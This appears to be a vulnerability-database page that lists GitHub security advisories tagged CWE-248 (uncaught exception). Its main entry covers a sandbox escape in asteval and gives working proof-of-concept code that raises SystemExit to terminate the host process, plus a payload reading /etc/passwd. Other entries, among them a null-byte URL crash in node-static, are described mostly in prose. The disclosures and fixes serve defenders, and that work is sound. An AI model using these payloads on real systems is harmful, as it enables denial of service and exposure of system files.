Common Weakness Enumeration
CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
528 vulnerabilities reference this CWE, most recent first.
GHSA-89V8-RHWQ-HF77
Vulnerability from github – Published: 2026-08-20 17:28 – Updated: 2026-08-20 17:28
VLAI
Summary
asteval has a Sandbox Escape via BaseException Subclasses
Details
Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
Affected Code
asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException', # ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit', # ← escapes except Exception:
...
'KeyboardInterrupt', # ← escapes except Exception:
...
'SystemExit', # ← escapes except Exception:
...)
asteval/asteval.py, line 322 — run() exception handler:
except Exception: # ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
asteval/asteval.py, line 370 — eval() exception handler:
except Exception: # ← same gap
if show_errors and not raise_errors:
...
asteval/asteval.py, line 264 — raise_exception() raises the class directly:
raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...
FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")
Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'
Real-world server scenario
from asteval import Interpreter
def handle_request(user_expression):
aeval = Interpreter()
return aeval.eval(user_expression) # SystemExit propagates here
# Attacker sends: raise SystemExit(1)
# Application terminates. Top-level except Exception: handlers do not protect it.
try:
handle_request('raise SystemExit(1)')
except Exception:
pass # <-- does NOT catch SystemExit; process exits
Impact
| Variant | Impact |
|---|---|
SystemExit |
Process terminates; exit code and message attacker-controlled |
KeyboardInterrupt |
Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops |
GeneratorExit |
Disrupts generator cleanup in calling code |
BaseException |
Generic escape, same propagation |
Any application that:
- Accepts user-supplied expressions via asteval
- Relies on except Exception: at the top level (standard practice)
- Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)
...is vulnerable to attacker-triggered process termination (DoS).
CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).
Additional Note: File Read Capability (Acknowledged Limitation)
Independently of this vulnerability, asteval exposes a read-only open() wrapper
(_open in astutils.py) that allows reading arbitrary files with the permissions of the
calling process:
aeval.eval("open('/etc/passwd').read()") # returns /etc/passwd contents
This is documented in doc/motivation.rst as a known design choice ("If reading from disk
must be forbidden, you will want to overwrite the open() function from the symbol table").
It is included here for completeness, not as a separate advisory claim.
Recommended Fix
Option A — Remove dangerous classes from FROM_PY (minimal, preferred):
# asteval/astutils.py
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
# Remove: 'BaseException',
'BufferError', 'BytesWarning',
'DeprecationWarning', 'EOFError', 'EnvironmentError',
'Exception', 'False', 'FloatingPointError',
# Remove: 'GeneratorExit',
'IOError', 'ImportError', 'ImportWarning', 'IndentationError',
'IndexError', 'KeyError',
# Remove: 'KeyboardInterrupt',
'LookupError',
'MemoryError', 'NameError', 'None',
'NotImplementedError', 'OSError', 'OverflowError',
'ReferenceError', 'RuntimeError', 'RuntimeWarning',
'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError',
# Remove: 'SystemExit',
'True', 'TypeError', ...)
Option B — Block non-Exception raises in on_raise():
# asteval/asteval.py
def on_raise(self, node):
excnode = node.exc
msgnode = node.cause
out = self.run(excnode)
# Prevent BaseException subclasses from escaping the sandbox
if not issubclass(out.__class__, Exception):
self.raise_exception(node, exc=RuntimeError,
msg=f"raising {out.__class__.__name__!r} is not permitted")
return
msg = ' '.join(str(a) for a in out.args)
msg2 = self.run(msgnode)
if msg2 not in (None, 'None'):
msg = f"{msg}: {msg2}"
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes
with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer
code). The fix uses str(a) for a in out.args.
Option C — Catch BaseException in run() and eval() (broadest, requires care):
except BaseException as exc:
if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):
# Re-raise as RuntimeError to contain within sandbox
self.raise_exception(node, exc=RuntimeError,
msg=f"{type(exc).__name__} raised in sandbox")
elif with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
Option A is the simplest and least likely to introduce regressions. Option B additionally
addresses the str.join crash on integer args.
Disclosure Timeline
| Date | Event |
|---|---|
| 2026-06-09 | Vulnerability discovered during code review |
| 2026-06-09 | Report submitted via GitHub Security Advisory |
| TBD | Maintainer acknowledgment |
| TBD + 90 days | Public disclosure deadline |
Researcher
Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.
References
- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)
- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)
- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy
astevaldocumentation: https://lmfit.github.io/asteval/
Severity
5.0 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "asteval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55244"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:28:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAn attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`,\n`KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These\nexceptions are subclasses of `BaseException` but not `Exception`, so they bypass the\n`except Exception:` safety net in both `run()` and `eval()`. The exception propagates\nverbatim to the calling application, terminating the process or disrupting signal and\ncleanup handlers.\n\nThis is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and\nGHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in\nall versions including 1.0.6 and current HEAD.\n\n---\n\n## Affected Code\n\n**`asteval/astutils.py`, lines 89\u2013108** \u2014 `FROM_PY` exposes dangerous classes to sandbox users:\n\n```python\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n \u0027BaseException\u0027, # \u2190 escapes except Exception:\n \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n ...\n \u0027GeneratorExit\u0027, # \u2190 escapes except Exception:\n ...\n \u0027KeyboardInterrupt\u0027, # \u2190 escapes except Exception:\n ...\n \u0027SystemExit\u0027, # \u2190 escapes except Exception:\n ...)\n```\n\n**`asteval/asteval.py`, line 322** \u2014 `run()` exception handler:\n\n```python\nexcept Exception: # \u2190 does NOT catch BaseException subclasses\n if with_raise and self.expr is not None:\n self.raise_exception(node, expr=self.expr)\n```\n\n**`asteval/asteval.py`, line 370** \u2014 `eval()` exception handler:\n\n```python\nexcept Exception: # \u2190 same gap\n if show_errors and not raise_errors:\n ...\n```\n\n**`asteval/asteval.py`, line 264** \u2014 `raise_exception()` raises the class directly:\n\n```python\nraise exc(self.error_msg) # \u2190 when exc=SystemExit, escapes both handlers above\n```\n\n---\n\n## Root Cause\n\nPython\u0027s exception hierarchy has two distinct branches under `BaseException`:\n\n```\nBaseException\n\u251c\u2500\u2500 SystemExit \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 KeyboardInterrupt \u2190 NOT caught by except Exception:\n\u251c\u2500\u2500 GeneratorExit \u2190 NOT caught by except Exception:\n\u2514\u2500\u2500 Exception \u2190 caught normally\n \u251c\u2500\u2500 RuntimeError\n \u251c\u2500\u2500 ValueError\n \u2514\u2500\u2500 ...\n```\n\n`FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes\n`raise SystemExit(\"msg\")`, the `on_raise()` handler calls:\n\n```python\nself.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nwhich executes `raise SystemExit(msg)`. This propagates through both `except Exception:`\nguards unchecked and surfaces in the calling application.\n\n---\n\n## Proof of Concept\n\n```python\nfrom asteval import Interpreter\n\n# Variant 1: terminate the process\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise SystemExit(\"terminated by sandbox user\")\u0027)\nexcept SystemExit as e:\n print(f\"[CONFIRMED] SystemExit escaped: {e.code!r}\")\n\n# Variant 2: disrupt signal/finally handling\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise KeyboardInterrupt(\"interrupt injected\")\u0027)\nexcept KeyboardInterrupt as e:\n print(f\"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}\")\n\n# Variant 3: GeneratorExit\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise GeneratorExit(\"gen escape\")\u0027)\nexcept GeneratorExit as e:\n print(f\"[CONFIRMED] GeneratorExit escaped: {str(e)!r}\")\n\n# Variant 4: BaseException base class\naeval = Interpreter()\ntry:\n aeval.eval(\u0027raise BaseException(\"base escape\")\u0027)\nexcept BaseException as e:\n if not isinstance(e, Exception):\n print(f\"[CONFIRMED] BaseException escaped: {str(e)!r}\")\n```\n\n**Output (tested on asteval 1.0.6, Python 3.11/3.12):**\n\n```\n[CONFIRMED] SystemExit escaped: \u0027terminated by sandbox user\u0027\n[CONFIRMED] KeyboardInterrupt escaped: \u0027interrupt injected\u0027\n[CONFIRMED] GeneratorExit escaped: \u0027gen escape\u0027\n[CONFIRMED] BaseException escaped: \u0027base escape\u0027\n```\n\n### Real-world server scenario\n\n```python\nfrom asteval import Interpreter\n\ndef handle_request(user_expression):\n aeval = Interpreter()\n return aeval.eval(user_expression) # SystemExit propagates here\n\n# Attacker sends: raise SystemExit(1)\n# Application terminates. Top-level except Exception: handlers do not protect it.\ntry:\n handle_request(\u0027raise SystemExit(1)\u0027)\nexcept Exception:\n pass # \u003c-- does NOT catch SystemExit; process exits\n```\n\n---\n\n## Impact\n\n| Variant | Impact |\n|---------|--------|\n| `SystemExit` | Process terminates; exit code and message attacker-controlled |\n| `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops |\n| `GeneratorExit` | Disrupts generator cleanup in calling code |\n| `BaseException` | Generic escape, same propagation |\n\nAny application that:\n- Accepts user-supplied expressions via `asteval`\n- Relies on `except Exception:` at the top level (standard practice)\n- Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement)\n\n...is vulnerable to attacker-triggered process termination (DoS).\n\nCVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N),\nno interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N),\nhigh availability impact \u2014 process termination (A:H).\n\n---\n\n## Additional Note: File Read Capability (Acknowledged Limitation)\n\nIndependently of this vulnerability, `asteval` exposes a read-only `open()` wrapper\n(`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the\ncalling process:\n\n```python\naeval.eval(\"open(\u0027/etc/passwd\u0027).read()\") # returns /etc/passwd contents\n```\n\nThis is documented in `doc/motivation.rst` as a known design choice (\"If reading from disk\nmust be forbidden, you will want to overwrite the `open()` function from the symbol table\").\nIt is included here for completeness, not as a separate advisory claim.\n\n---\n\n## Recommended Fix\n\n**Option A \u2014 Remove dangerous classes from `FROM_PY` (minimal, preferred):**\n\n```python\n# asteval/astutils.py\n\nFROM_PY = (\u0027ArithmeticError\u0027, \u0027AssertionError\u0027, \u0027AttributeError\u0027,\n # Remove: \u0027BaseException\u0027,\n \u0027BufferError\u0027, \u0027BytesWarning\u0027,\n \u0027DeprecationWarning\u0027, \u0027EOFError\u0027, \u0027EnvironmentError\u0027,\n \u0027Exception\u0027, \u0027False\u0027, \u0027FloatingPointError\u0027,\n # Remove: \u0027GeneratorExit\u0027,\n \u0027IOError\u0027, \u0027ImportError\u0027, \u0027ImportWarning\u0027, \u0027IndentationError\u0027,\n \u0027IndexError\u0027, \u0027KeyError\u0027,\n # Remove: \u0027KeyboardInterrupt\u0027,\n \u0027LookupError\u0027,\n \u0027MemoryError\u0027, \u0027NameError\u0027, \u0027None\u0027,\n \u0027NotImplementedError\u0027, \u0027OSError\u0027, \u0027OverflowError\u0027,\n \u0027ReferenceError\u0027, \u0027RuntimeError\u0027, \u0027RuntimeWarning\u0027,\n \u0027StopIteration\u0027, \u0027SyntaxError\u0027, \u0027SyntaxWarning\u0027, \u0027SystemError\u0027,\n # Remove: \u0027SystemExit\u0027,\n \u0027True\u0027, \u0027TypeError\u0027, ...)\n```\n\n**Option B \u2014 Block non-`Exception` raises in `on_raise()`:**\n\n```python\n# asteval/asteval.py\n\ndef on_raise(self, node):\n excnode = node.exc\n msgnode = node.cause\n out = self.run(excnode)\n # Prevent BaseException subclasses from escaping the sandbox\n if not issubclass(out.__class__, Exception):\n self.raise_exception(node, exc=RuntimeError,\n msg=f\"raising {out.__class__.__name__!r} is not permitted\")\n return\n msg = \u0027 \u0027.join(str(a) for a in out.args)\n msg2 = self.run(msgnode)\n if msg2 not in (None, \u0027None\u0027):\n msg = f\"{msg}: {msg2}\"\n self.raise_exception(None, exc=out.__class__, msg=msg, expr=\u0027\u0027)\n```\n\nNote: Option B also fixes a secondary bug on the same line \u2014 `\u0027 \u0027.join(out.args)` crashes\nwith `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer\ncode). The fix uses `str(a) for a in out.args`.\n\n**Option C \u2014 Catch `BaseException` in `run()` and `eval()` (broadest, requires care):**\n\n```python\nexcept BaseException as exc:\n if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)):\n # Re-raise as RuntimeError to contain within sandbox\n self.raise_exception(node, exc=RuntimeError,\n msg=f\"{type(exc).__name__} raised in sandbox\")\n elif with_raise and self.expr is not None:\n self.raise_exception(node, expr=self.expr)\n```\n\nOption A is the simplest and least likely to introduce regressions. Option B additionally\naddresses the `str.join` crash on integer args.\n\n---\n\n## Disclosure Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-06-09 | Vulnerability discovered during code review |\n| 2026-06-09 | Report submitted via GitHub Security Advisory |\n| TBD | Maintainer acknowledgment |\n| TBD + 90 days | Public disclosure deadline |\n\n---\n\n## Researcher\n\nIndependent security researcher. No bug bounty program exists for this project.\nCVE assignment requested via GitHub Security Advisory submission.\n\n---\n\n## References\n\n- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6)\n- Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6)\n- Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy\n- `asteval` documentation: https://lmfit.github.io/asteval/",
"id": "GHSA-89v8-rhwq-hf77",
"modified": "2026-08-20T17:28:52Z",
"published": "2026-08-20T17:28:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/pull/153"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/lmfit/asteval"
},
{
"type": "WEB",
"url": "https://github.com/lmfit/asteval/releases/tag/1.0.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "asteval has a Sandbox Escape via BaseException Subclasses"
}
GHSA-8C5G-69WP-X3WV
Vulnerability from github – Published: 2025-06-06 09:30 – Updated: 2025-06-06 09:30
VLAI
Details
Deserialization vulnerability in the IPC module Impact: Successful exploitation of this vulnerability may affect availability.
Severity
6.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-48907"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-06T07:15:26Z",
"severity": "MODERATE"
},
"details": "Deserialization vulnerability in the IPC module\nImpact: Successful exploitation of this vulnerability may affect availability.",
"id": "GHSA-8c5g-69wp-x3wv",
"modified": "2025-06-06T09:30:24Z",
"published": "2025-06-06T09:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48907"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2025/6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GV7-MMCH-W6H8
Vulnerability from github – Published: 2024-11-13 21:30 – Updated: 2024-11-13 21:30
VLAI
Details
Uncaught exception for some Intel(R) CST software before version 8.7.10803 may allow an authenticated user to potentially enable denial of service via local access.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-29076"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T21:15:15Z",
"severity": "MODERATE"
},
"details": "Uncaught exception for some Intel(R) CST software before version 8.7.10803 may allow an authenticated user to potentially enable denial of service via local access.",
"id": "GHSA-8gv7-mmch-w6h8",
"modified": "2024-11-13T21:30:36Z",
"published": "2024-11-13T21:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29076"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8R4G-CG4M-X23C
Vulnerability from github – Published: 2021-09-22 18:22 – Updated: 2025-10-03 18:27
VLAI
Summary
Denial of Service in node-static
Details
All versions of node-static are vulnerable to a Denial of Service. The package fails to catch an exception when user input includes null bytes. This allows attackers to access http://host/%00 and crash the server.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-static"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.7.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-22T18:21:20Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "All versions of node-static are vulnerable to a Denial of Service. The package fails to catch an exception when user input includes null bytes. This allows attackers to access `http://host/%00` and crash the server.",
"id": "GHSA-8r4g-cg4m-x23c",
"modified": "2025-10-03T18:27:42Z",
"published": "2021-09-22T18:22:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11149"
},
{
"type": "WEB",
"url": "https://github.com/cloudhead/node-static/pull/213"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/6248"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudhead/node-static"
},
{
"type": "WEB",
"url": "https://github.com/cloudhead/node-static/blob/643a528ec7bbd05a59c4030655d94810570afb3f/CHANGES.md#-unreleased"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JS-NODESTATIC-1297183"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Denial of Service in node-static"
}
GHSA-8RF5-92JH-3VC9
Vulnerability from github – Published: 2021-05-13 22:31 – Updated: 2021-04-06 21:46
VLAI
Summary
Uncaught Exception leading to Denial of Service in json-sanitizer
Details
OWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.mikesamuel:json-sanitizer"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-23900"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-06T21:46:21Z",
"nvd_published_at": "2021-01-13T16:15:00Z",
"severity": "HIGH"
},
"details": "OWASP json-sanitizer before 1.2.2 can output invalid JSON or throw an undeclared exception for crafted input. This may lead to denial of service if the application is not prepared to handle these situations.",
"id": "GHSA-8rf5-92jh-3vc9",
"modified": "2021-04-06T21:46:21Z",
"published": "2021-05-13T22:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23900"
},
{
"type": "WEB",
"url": "https://github.com/OWASP/json-sanitizer/commit/a37f594f7378a1c76b3283e0dab9e1ab1dc0247e"
},
{
"type": "WEB",
"url": "https://github.com/OWASP/json-sanitizer/compare/v1.2.1...v1.2.2"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/json-sanitizer-support/c/dAW1AeNMoA0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Uncaught Exception leading to Denial of Service in json-sanitizer"
}
GHSA-8RJ5-2857-877J
Vulnerability from github – Published: 2023-08-23 13:19 – Updated: 2024-09-27 15:46
VLAI
Summary
json2xml Uncaught Exception vulnerability
Details
The json2xml package for Python allows an error in typecode decoding enabling a remote attack that can lead to an exception, causing a denial of service.
Severity
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "json2xml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-25024"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-23T13:19:55Z",
"nvd_published_at": "2023-08-22T19:16:22Z",
"severity": "HIGH"
},
"details": "The json2xml package for Python allows an error in typecode decoding enabling a remote attack that can lead to an exception, causing a denial of service.",
"id": "GHSA-8rj5-2857-877j",
"modified": "2024-09-27T15:46:25Z",
"published": "2023-08-23T13:19:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25024"
},
{
"type": "WEB",
"url": "https://github.com/vinitkumar/json2xml/issues/106"
},
{
"type": "WEB",
"url": "https://github.com/vinitkumar/json2xml/pull/107"
},
{
"type": "WEB",
"url": "https://github.com/vinitkumar/json2xml/pull/107/files"
},
{
"type": "WEB",
"url": "https://github.com/vinitkumar/json2xml/commit/a9cd75b61329801b47a8fba7473bce6c85a38b9b"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/json2xml/PYSEC-2023-149.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/vinitkumar/json2xml"
},
{
"type": "WEB",
"url": "https://packaging.python.org/en/latest/guides/analyzing-pypi-package-downloads"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "json2xml Uncaught Exception vulnerability"
}
GHSA-8RVJ-6HP5-GF5X
Vulnerability from github – Published: 2025-11-14 18:31 – Updated: 2025-11-14 18:31
VLAI
Details
On affected platforms running Arista EOS, certain serial console input might result in an unexpected reload of the device.153
Severity
4.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-8870"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-14T16:15:59Z",
"severity": "MODERATE"
},
"details": "On affected platforms running Arista EOS, certain serial console input might result in an unexpected reload of the device.153",
"id": "GHSA-8rvj-6hp5-gf5x",
"modified": "2025-11-14T18:31:39Z",
"published": "2025-11-14T18:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8870"
},
{
"type": "WEB",
"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/22811-security-advisory-0125"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8XFF-473H-F863
Vulnerability from github – Published: 2024-02-21 00:00 – Updated: 2024-02-21 00:00
VLAI
Summary
Uncaught Exception Handling Parsing Errors on Line Terminators
Details
The span rendering would panic when handling failed parsing of queries where the error occurred on a line terminator character.
Impact
A client that is authorized to run queries in a SurrealDB server is able to execute a malformed query which will fail to parse on a line terminator character and cause a panic in the span rendering code. This will crash the server, leading to denial of service.
Patches
- Version 1.2.1 and later are not affected by this issue.
Workarounds
Concerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.
References
-
3527
- https://github.com/StarlaneStudios/Surrealist/issues/177
Severity
6.5 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.0"
},
"package": {
"ecosystem": "crates.io",
"name": "surrealdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-02-21T00:00:54Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The span rendering would panic when handling failed parsing of queries where the error occurred on a line terminator character.\n\n### Impact\n\nA client that is authorized to run queries in a SurrealDB server is able to execute a malformed query which will fail to parse on a line terminator character and cause a panic in the span rendering code. This will crash the server, leading to denial of service.\n\n### Patches\n\n- Version 1.2.1 and later are not affected by this issue.\n\n### Workarounds\n\nConcerned users unable to update may want to limit the ability of untrusted users to run arbitrary SurrealQL queries in the affected versions of SurrealDB. To limit the impact of the denial of service, SurrealDB administrators may also want to ensure that the SurrealDB process is running so that it can be automatically re-started after a crash.\n\n### References\n\n- #3527\n- https://github.com/StarlaneStudios/Surrealist/issues/177",
"id": "GHSA-8xff-473h-f863",
"modified": "2024-02-21T00:00:54Z",
"published": "2024-02-21T00:00:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-8xff-473h-f863"
},
{
"type": "WEB",
"url": "https://github.com/StarlaneStudios/Surrealist/issues/177"
},
{
"type": "PACKAGE",
